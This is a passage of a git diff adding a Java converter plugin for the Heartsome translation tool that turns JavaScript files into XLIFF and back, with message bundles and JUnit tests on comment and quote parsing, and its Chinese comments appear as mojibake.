转æ¢æ‰€éœ€çš„é…ç½®ä¿¡æ¯ + * @throws FileNotFoundException + * 如果所需转æ¢çš„文件找ä¸åˆ°ï¼Œåˆ™æŠ›æ­¤å¼‚常 + * @throws UnsupportedEncodingException + * 如果以平å°ä¸æ”¯æŒçš„ç¼–ç è¯»å–文件字符æµæ—¶ï¼Œåˆ™æŠ›æ­¤å¼‚常 + */ + public Jscript2xliffImpl(Map params) throws FileNotFoundException, UnsupportedEncodingException { + inputFile = params.get(Converter.ATTR_SOURCE_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + skeletonFile = params.get(Converter.ATTR_SKELETON_FILE); + sourceLanguage = params.get(Converter.ATTR_SOURCE_LANGUAGE); + targetLanguage = params.get(Converter.ATTR_TARGET_LANGUAGE); + // fixed a bug 1293 by john. + encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + + input = new InputStreamReader(new FileInputStream(inputFile), encoding); + buffer = new BufferedReader(input); + + output = new FileOutputStream(xliffFile); + + skeleton = new FileOutputStream(skeletonFile); + if (Converter.TRUE.equalsIgnoreCase(params.get(Converter.ATTR_IS_SUITE))) { + isSuite = true; + } + qtToolId = params.get(Converter.ATTR_QT_TOOLID) != null ? params.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + } + + /** + * è½¬æ¢ + * @param params + * 转æ¢æ‰€éœ€çš„é…ç½®ä¿¡æ¯ + * @param monitor + * 监视器 + * @return 转æ¢åŽçš„ xliff 文件 + * @throws ConverterException + * 在转æ¢è¿‡ç¨‹ä¸­å‡ºé”™ï¼Œåˆ™æŠ›æ­¤å¼‚常 ; + */ + public static Map run(Map params, IProgressMonitor monitor) + throws ConverterException { + Map result = null; + try { + result = new Jscript2xliffImpl(params).run(monitor); + } catch (OperationCanceledException e) { + throw e; + } catch (ConverterException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("javascript.Jscript2xliffImpl.msg"), e); + } + return result; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/Xliff2JavaScript.java b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/Xliff2JavaScript.java new file mode 100644 index 0000000..57cf1f3 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/Xliff2JavaScript.java @@ -0,0 +1,335 @@ +/** + * Xliff2JavaScript.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.javascript; + +import java.io.BufferedReader; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import javax.xml.parsers.ParserConfigurationException; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.javascript.resource.Messages; +import net.heartsome.cat.converter.util.CalculateProcessedBytes; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.xml.sax.SAXException; + +/** + * The Class Xliff2JavaScript. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Xliff2JavaScript implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "javascript"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("javascript.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to JavaScript Conveter"; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xliff2JavaScriptImpl converter = new Xliff2JavaScriptImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Xliff2JavaScriptImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Xliff2JavaScriptImpl { + + private static final String UTF_8 = "UTF-8"; + + /** The input. */ + private InputStreamReader input; + + /** The buffer. */ + private BufferedReader buffer; + + /** The skl file. */ + private String sklFile; + + /** The xliff file. */ + private String xliffFile; + + /** The line. */ + private String line; + + /** The segments. */ + private Hashtable segments; + + /** The output. */ + private FileOutputStream output; + + /** The catalogue. */ + private String catalogue; + + // 计算替æ¢è¿›åº¦çš„对象 + private CalculateProcessedBytes cpb; + + // 替æ¢è¿‡ç¨‹çš„进度监视器 + private IProgressMonitor replaceMonitor; + + // skeleton æ–‡ä»¶ç¼–ç  + private String encoding; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + ReverseConversionInfoLogRecord infoLogger = ConverterUtils.getReverseConversionInfoLogRecord(); + infoLogger.startConversion(); + Map result = new HashMap(); + + sklFile = params.get(Converter.ATTR_SKELETON_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + catalogue = params.get(Converter.ATTR_CATALOGUE); + String outputFile = params.get(Converter.ATTR_TARGET_FILE); + + encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + + String attrIsPreviewMode = params.get(Converter.ATTR_IS_PREVIEW_MODE); + /* 是å¦ä¸ºé¢„è§ˆç¿»è¯‘æ¨¡å¼ */ + boolean isPreviewMode = attrIsPreviewMode != null && attrIsPreviewMode.equals(Converter.TRUE); + + try { + infoLogger.logConversionFileInfo(catalogue, null, xliffFile, sklFile); + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºäºŒå¤§éƒ¨åˆ†å…¶ 10 个任务,其中加载 xliff æ–‡ä»¶å  4,替æ¢è¿‡ç¨‹å  6。 + monitor.beginTask("", 10); + monitor.subTask(Messages.getString("javascript.Xliff2JavaScript.task2")); + infoLogger.startLoadingXliffFile(); + output = new FileOutputStream(outputFile); + loadSegments(); + infoLogger.endLoadingXliffFile(); + monitor.worked(4); + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("javascript.cancel")); + } + + try { + infoLogger.startReplacingSegmentSymbol(); + cpb = ConverterUtils.getCalculateProcessedBytes(sklFile); + replaceMonitor = Progress.getSubMonitor(monitor, 6); + replaceMonitor.beginTask(Messages.getString("javascript.Xliff2JavaScript.task3"), cpb.getTotalTask()); + replaceMonitor.subTask(""); + input = new InputStreamReader(new FileInputStream(sklFile), UTF_8); //$NON-NLS-1$ + buffer = new BufferedReader(input); + + line = buffer.readLine(); + while (line != null) { + line = line + "\n"; //$NON-NLS-1$ + + if (line.indexOf("%%%") != -1) { //$NON-NLS-1$ + // + // contains translatable text + // + int index = line.indexOf("%%%"); //$NON-NLS-1$ + while (index != -1) { + String start = line.substring(0, index); + writeString(start); + line = line.substring(index + 3); + String code = line.substring(0, line.indexOf("%%%")); //$NON-NLS-1$ + line = line.substring(line.indexOf("%%%") + 3); //$NON-NLS-1$ + Element segment = segments.get(code); + if (segment != null) { + // 替æ¢å­—符 + String replaceCode = code; + + Element target = segment.getChild("target"); //$NON-NLS-1$ + Element source = segment.getChild("source"); //$NON-NLS-1$ + if (target != null) { + String tgtStr = target.getText(); + if (isPreviewMode || !"".equals(tgtStr.trim())) { + writeString(tgtStr, true, replaceCode); + } else { + writeString(source.getText(), true, replaceCode); + } + } else { + writeString(source.getText(), true, replaceCode); + } + } else { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + MessageFormat.format(Messages.getString("javascript.Xliff2JavaScript.msg1"), code)); + } + + index = line.indexOf("%%%"); //$NON-NLS-1$ + if (index == -1) { + writeString(line); + } + } // end while + } else { + // + // non translatable portion + // + writeString(line); + } + + line = buffer.readLine(); + } + infoLogger.endReplacingSegmentSymbol(); + } finally { + replaceMonitor.done(); + } + output.close(); + + result.put(Converter.ATTR_TARGET_FILE, outputFile); + infoLogger.endConversion(); + } catch (OperationCanceledException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("javascript.Xliff2JavaScript.msg2"), e); + } finally { + monitor.done(); + } + + return result; + } + + /** + * Load segments. + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws ParserConfigurationException + * the parser configuration exception + */ + private void loadSegments() throws SAXException, IOException, ParserConfigurationException { + + SAXBuilder builder = new SAXBuilder(); + builder.setEntityResolver(new Catalogue(catalogue)); + + Document doc = builder.build(xliffFile); + Element root = doc.getRootElement(); + Element body = root.getChild("file").getChild("body"); //$NON-NLS-1$ //$NON-NLS-2$ + List units = body.getChildren("trans-unit"); //$NON-NLS-1$ + Iterator i = units.iterator(); + + segments = new Hashtable(); + + while (i.hasNext()) { + Element unit = i.next(); + segments.put(unit.getAttributeValue("id"), unit); //$NON-NLS-1$ + } + } + + /** + * Write string. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string) throws IOException { + writeString(string, false, null); + } + + /** + * Write string. + * @param string + * the string + * @param isSegment + * 标识当å‰æ‰€å†™å†…容,ture 标识当å‰æ‰€å†™å†…容为 segment,false 标识当å‰æ‰€å®šå†…容为原骨架文件中的内容。 + * @param replaceCode + * skeleton 文件中的segment 标识符 + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string, boolean isSegment, String replaceCode) throws IOException { + byte[] bytes = string.getBytes(encoding); + output.write(bytes); + // 是å¦å–消æ“作 + if (replaceMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("javascript.cancel")); + } + // 在计算已处ç†çš„字节时,需è¦ç”¨ skeleton 文件的æºç¼–ç è¿›è¡Œè§£ç  + if (!isSegment) { + cpb.calculateProcessed(replaceMonitor, string, UTF_8); + } else { + replaceCode = "%%%" + replaceCode + "%%%"; + cpb.calculateProcessed(replaceMonitor, replaceCode, UTF_8); + } + } + + } + +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/resource/Messages.java new file mode 100644 index 0000000..881feeb --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.javascript.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * The Class Messages. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.javascript.resource.javascript"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/resource/javascript.properties b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/resource/javascript.properties new file mode 100644 index 0000000..c04c1bf --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/resource/javascript.properties @@ -0,0 +1,15 @@ +javascript.Jscript2xliffAbstract.msg1 = JavaScript \u811a\u672c\u6587\u4ef6\u4e2d\u5b58\u5728\u9519\u8bef\uff1a\u672a\u6b63\u786e\u5173\u95ed\u7684\u5b57\u7b26\u4e32\u3002\u8bf7\u4fee\u590d\u8be5\u9519\u8bef\u540e\u518d\u91cd\u8bd5\u3002 +javascript.Jscript2xliffAbstract.msg2 = JavaScript \u811a\u672c\u6587\u4ef6\u4e2d\u5b58\u5728\u9519\u8bef\uff1a\u610f\u5916\u7684\u6587\u4ef6\u7ed3\u675f\u7b26\u3002\u8bf7\u4fee\u590d\u8be5\u9519\u8bef\u540e\u518d\u91cd\u8bd5\u3002 +javascript.Jscript2xliffAbstract.task1 = ... + +javascript.Jscript2xliffImpl.msg = JavaScript \u811a\u672c\u6587\u4ef6\u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +#javascript.Xliff2JavaScript.task1 = \u6b63\u5728\u8f6c\u6362... +javascript.Xliff2JavaScript.task2 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... +javascript.Xliff2JavaScript.task3 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... +javascript.Xliff2JavaScript.msg1 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +javascript.Xliff2JavaScript.msg2 = XLIFF \u8f6c\u6362 JavaScript \u811a\u672c\u6587\u4ef6\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +javascript.TYPE_NAME_VALUE = JavaScript \u811a\u672c (JS) +javascript.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/resource/javascript_en.properties b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/resource/javascript_en.properties new file mode 100644 index 0000000..e9f97a3 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/resource/javascript_en.properties @@ -0,0 +1,15 @@ +javascript.Jscript2xliffAbstract.msg1 = An error was found in JavaScript files: String literal is not properly closed by a double-quote. Please try again once fixing errors. +javascript.Jscript2xliffAbstract.msg2 = An error was found in JavaScript files: Unexpected end of file. Please try again once fixing errors. +javascript.Jscript2xliffAbstract.task1 = ... + +javascript.Jscript2xliffImpl.msg = Failed to convert JavaScript files to XLIFF. Please try again. + +#javascript.Xliff2JavaScript.task1 = \u6b63\u5728\u8f6c\u6362... +javascript.Xliff2JavaScript.task2 = Loading XLIFF files... +javascript.Xliff2JavaScript.task3 = Replacing segment identifiers in the skeleton file.... +javascript.Xliff2JavaScript.msg1 = Can't find segment {0}. The XLIFF file might be demaged. please follow the steps below to repair it:\n1. Send all segments of the XLIFF to TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders or export the entire project);\n3. Re-convert source file to XLIFF, and pre-translate these XLIFF files;\n4. Take XLIFF files from previous step to retry the conversion. +javascript.Xliff2JavaScript.msg2 = Failed to convert XLIFF to JavaScript files. Please try again. + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +javascript.TYPE_NAME_VALUE = JavaScript (JS) +javascript.cancel = Exit conversion \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/resource/javascript_zh.properties b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/resource/javascript_zh.properties new file mode 100644 index 0000000..c04c1bf --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/src/net/heartsome/cat/converter/javascript/resource/javascript_zh.properties @@ -0,0 +1,15 @@ +javascript.Jscript2xliffAbstract.msg1 = JavaScript \u811a\u672c\u6587\u4ef6\u4e2d\u5b58\u5728\u9519\u8bef\uff1a\u672a\u6b63\u786e\u5173\u95ed\u7684\u5b57\u7b26\u4e32\u3002\u8bf7\u4fee\u590d\u8be5\u9519\u8bef\u540e\u518d\u91cd\u8bd5\u3002 +javascript.Jscript2xliffAbstract.msg2 = JavaScript \u811a\u672c\u6587\u4ef6\u4e2d\u5b58\u5728\u9519\u8bef\uff1a\u610f\u5916\u7684\u6587\u4ef6\u7ed3\u675f\u7b26\u3002\u8bf7\u4fee\u590d\u8be5\u9519\u8bef\u540e\u518d\u91cd\u8bd5\u3002 +javascript.Jscript2xliffAbstract.task1 = ... + +javascript.Jscript2xliffImpl.msg = JavaScript \u811a\u672c\u6587\u4ef6\u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +#javascript.Xliff2JavaScript.task1 = \u6b63\u5728\u8f6c\u6362... +javascript.Xliff2JavaScript.task2 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... +javascript.Xliff2JavaScript.task3 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... +javascript.Xliff2JavaScript.msg1 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +javascript.Xliff2JavaScript.msg2 = XLIFF \u8f6c\u6362 JavaScript \u811a\u672c\u6587\u4ef6\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +javascript.TYPE_NAME_VALUE = JavaScript \u811a\u672c (JS) +javascript.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.javascript/testSrc/net/heartsome/cat/converter/javascript/test/JavaScript2XliffTest.java b/hsconverter/net.heartsome.cat.converter.javascript/testSrc/net/heartsome/cat/converter/javascript/test/JavaScript2XliffTest.java new file mode 100644 index 0000000..d012cc8 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/testSrc/net/heartsome/cat/converter/javascript/test/JavaScript2XliffTest.java @@ -0,0 +1,55 @@ +package net.heartsome.cat.converter.javascript.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.javascript.JavaScript2Xliff; + +import org.junit.Before; +import org.junit.Test; + + +public class JavaScript2XliffTest { + public static JavaScript2Xliff converter = new JavaScript2Xliff(); + private static String srcFile = "rc/Test.js"; + private static String xlfFile = "rc/Test.js.xlf"; + private static String sklFile = "rc/Test.js.skl"; + + @Before + public void setUp(){ + File xlf = new File(xlfFile); + if(xlf.exists()){ + xlf.delete(); + } + + File skl = new File(sklFile); + if(skl.exists()){ + skl.delete(); + } + } + + @Test + public void testConvert() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "en-US"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.javascript/testSrc/net/heartsome/cat/converter/javascript/test/Jscript2xliffImplTest.java b/hsconverter/net.heartsome.cat.converter.javascript/testSrc/net/heartsome/cat/converter/javascript/test/Jscript2xliffImplTest.java new file mode 100644 index 0000000..d243081 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/testSrc/net/heartsome/cat/converter/javascript/test/Jscript2xliffImplTest.java @@ -0,0 +1,48 @@ +package net.heartsome.cat.converter.javascript.test; + +import java.io.BufferedReader; +import java.io.ByteArrayOutputStream; +import java.io.StringReader; +import java.util.Hashtable; +import java.util.Map; +import java.util.Vector; + +import net.heartsome.cat.converter.javascript.Jscript2xliffAbstract; + +public class Jscript2xliffImplTest extends Jscript2xliffAbstract { + public Jscript2xliffImplTest(Map params) { + inputFile = params.get("source"); //$NON-NLS-1$ + sourceLanguage = params.get("srcLang"); //$NON-NLS-1$ + skeletonFile = params.get("skeleton"); //$NON-NLS-1$ + // fixed a bug 1293 by john. + encoding = params.get("srcEncoding"); //$NON-NLS-1$ + input = new StringReader(inputFile); + buffer = new BufferedReader(input); + + output = new ByteArrayOutputStream(); + + skeleton = new ByteArrayOutputStream(); + } + + public static Vector run(Hashtable params) { + System.out.println("##############################################"); + Vector result = new Vector(); + Jscript2xliffAbstract js2Xliff = new Jscript2xliffImplTest(params); + try { + js2Xliff.run(null); + } catch (Exception e) { + System.out.println("??????????????????????????????????????????"); + System.out.println("error:转æ¢æ–‡ä»¶å¤±è´¥ã€‚"); + System.out.println("??????????????????????????????????????????"); + e.printStackTrace(); + } + System.out.println("-----------------------------------------------"); + System.out.println(js2Xliff.output.toString()); + System.out.println("-----------------------------------------------"); + System.out.println(js2Xliff.skeleton.toString()); + System.out.println("-----------------------------------------------"); + result.add(String.valueOf(js2Xliff.segId)); + System.out.println("##############################################"); + return result; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.javascript/testSrc/net/heartsome/cat/converter/javascript/test/Jscript2xliffImplTestTest.java b/hsconverter/net.heartsome.cat.converter.javascript/testSrc/net/heartsome/cat/converter/javascript/test/Jscript2xliffImplTestTest.java new file mode 100644 index 0000000..23e9514 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.javascript/testSrc/net/heartsome/cat/converter/javascript/test/Jscript2xliffImplTestTest.java @@ -0,0 +1,299 @@ +package net.heartsome.cat.converter.javascript.test; + +import java.util.Hashtable; +import java.util.Vector; + +import org.junit.Assert; +import org.junit.Before; +import org.junit.Test; + +public class Jscript2xliffImplTestTest { + Hashtable params; + + @Before + public void setUp() throws Exception { + params = new Hashtable(); + params.put("srcLang", "en"); + params.put("skeleton", "test"); + params.put("srcEncoding", "utf-8"); + } + + // å•è¡Œæ³¨é‡Šå‰ä¸å­˜åœ¨æœ‰æ•ˆä»£ç  + @Test + public void testRunWithSingleComment_1() { + params.put("source", "//alert(\"Error Handled\")"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(0, Long.parseLong(result.firstElement())); + } + + // å•è¡Œæ³¨é‡Šå‰å­˜åœ¨æœ‰æ•ˆä»£ç  + @Test + public void testRunWithSingleComment_2() { + params.put("source", + "alert(\"Error Handled\") //alert(\"Error Handled\")"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // å•è¡Œæ³¨é‡Šå‰å­˜åœ¨å¯ç¿»è¯‘çš„å•è¡Œæ³¨é‡Šç¬¦ + @Test + public void testRunWithSingleComment_3() { + params.put("source", + "alert(\"Error // Handled\"); //alert(\"Error Handled\")"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // å•è¡Œæ³¨é‡Šå’Œå¤šè¡Œæ³¨é‡Šå­—符在åŒä¸€è¡Œ + @Test + public void testRunWithSingleComment_4() { + params.put("source", + "alert(\"Error // Handled\"); //*/alert(\"Error Handled\")"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // 多行注释å‰å’ŒåŽä¸å­˜åœ¨æœ‰æ•ˆä»£ç  + @Test + public void testRunWithMultiRowComment_1() { + params.put("source", "/*\nalert(\"Error Handled\")\n*/"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(0, Long.parseLong(result.firstElement())); + } + + // 多行注释å‰å’ŒåŽå­˜åœ¨æœ‰æ•ˆä»£ç  + @Test + public void testRunWithMultiRowComment_2() { + params + .put( + "source", + "alert(\"Error Handled\");/*\nalert(\"Error Handled\");\n*/alert(\"Error Handled\")"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(2, Long.parseLong(result.firstElement())); + } + + // 多行注释å‰çš„有效代ç å­˜åœ¨æ³¨é‡Šå­—符 + @Test + public void testRunWithMultiRowComment_3() { + params + .put( + "source", + "alert(\"Error // /* */Handled\");/*\nalert(\"Error Handled\")\n*/alert(\"Error Handled\")"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(2, Long.parseLong(result.firstElement())); + } + + // 多行注释和å•è¡Œæ³¨é‡Šåœ¨åŒä¸€è¡Œï¼Œä¸”å¤šè¡Œæ³¨é‡Šåœ¨å‰ + @Test + public void testRunWithMultiRowComment_4() { + params + .put( + "source", + "alert(\"Error Handled\"); /* Error Handled */ alert(\"Error Handled\"); //alert(\"Error Handled\")"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(2, Long.parseLong(result.firstElement())); + } + + // 多行注释中嵌套了多行注释的开始符 + @Test + public void testRunWithMultiRowComment_5() { + params.put("source", + "alert(\"Error Handled\"); /* Error Handled // /* */"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // 多行注释开始符åŽç´§æŽ¥åæ–œæ ï¼Œæ··æ·†å¤šè¡Œæ³¨é‡Šçš„å¼€å§‹å’Œç»“æŸ + @Test + public void testRunWithMultiRowComment_6() { + params.put("source", + "alert(\"Error Handled\"); /*/ Error Handled // /* */"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // 多行注释没有结æŸç¬¦ + @Test + public void testRunWithMultiRowComment_7_WithoutClosed() { + params.put("source", + "alert(\"Error Handled\"); /*/ Error Handled // /* "); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // “纯â€åŒå¼•å· + @Test + public void testRunWithQuote_1() { + params.put("source", "alert(\"Error Handled\");"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // “纯â€å•å¼•å· + @Test + public void testRunWithQuote_2() { + params.put("source", "alert('Error Handled');"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // åŒå¼•å·ä¸­åµŒå•å¼•å· + @Test + public void testRunWithQuote_3() { + params.put("source", "alert(\"Error 'abc' Handled\");"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // å•å¼•å·ä¸­åµŒåŒå¼•å· + @Test + public void testRunWithQuote_4() { + params.put("source", "alert('Error \"abc\" Handled')"); + Vector result = Jscript2xliffImplTest.run(params); + Assert.assertEquals(1, Long.parseLong(result.firstElement())); + } + + // åŒå¼•å·ä¸­åµŒè½¬ä¹‰çš„åŒå¼•å· + @Test + public void testRunWithQuote_5() { + params.put("source", 